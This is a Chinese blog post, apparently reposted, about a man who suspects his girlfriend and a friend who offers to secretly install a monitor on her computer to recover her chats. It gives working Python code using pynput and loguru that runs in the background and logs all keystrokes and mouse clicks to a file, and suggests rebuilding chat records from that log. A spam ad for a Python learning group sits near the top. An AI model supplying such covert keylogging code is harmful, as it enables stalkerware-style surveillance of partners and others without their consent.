就在前段時間,在大學睡我上鋪的兄弟,在兄嘚群里討論,說:他發現女朋友這幾天只要下班就坐在電腦前,不是作業原因,而且只要他靠近一點就會立即退出頁面,所以他一直很懷疑,在群里問我們這一個個單身狗,然后就出現下面這一段對話,
很多人學習python,不知道從何學起, 很多人學習python,掌握了基本語法過后,不知道在哪里尋找案例上手, 很多已經做案例的人,卻不知道如何去學習更加高深的知識, 那么針對這三類人,我給大家提供一個好的學習平臺,免費領取視頻教程,電子書籍,以及課程的源代碼! QQ群:701698587 歡迎加入,一起討論 一起學習!
A朋友:你直接問,
B朋友:你女朋友睡了后,偷偷拿電腦查,
C朋友:咱們不吊死在一棵樹上,不對勁就早點脫身,
D朋友:我覺得A的不行,直接問容易打草驚蛇,不過他在你面前表現的這么明顯,你可以去找他聊下,你們之間是不是感情出問題了,
F朋友:嘿,我不和你離的不遠嗎?支開你女朋友我上你家,幫你搞個能獲得聊天記錄的,這不就完美了嗎?
1.使用pynput庫
pynput 可以監控我們的鍵盤和滑鼠,目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監控鍵盤和滑鼠時,它們就顯得過于笨重了,
2.對鍵盤監控
在他的電腦常駐一個后臺行程去實作監控鍵盤輸入并記錄下來,代碼大概可以這樣:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
控制臺列印:
3.對滑鼠監控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
控制臺列印:
你會發現,每條列印都被列印了兩次,這是因為按下去和抬起來都會觸發滑鼠事件,
4.監控并記錄到日志檔案
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定義日志檔案
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定義f1用于執行緒1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定義f2用于執行緒2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起兩個執行緒分別監控鍵盤和滑鼠
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
查看日志內容:
這樣鍵盤操作已經全部被記錄,通過對這個日志檔案進行簡單的 NLTK 語言處理,就能復原聊天記錄,
這個記錄就不給你們展示了,屬于隱私,但能告訴你們結果,嗯,其實他女友挺好,看我上鋪兄弟每次都要加班很晚,身體有點不行了,但又好面子,所以偷偷給他在網上買補藥,想給他補補~笑死
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/325254.html
標籤:其他
下一篇:Redis的安裝使用
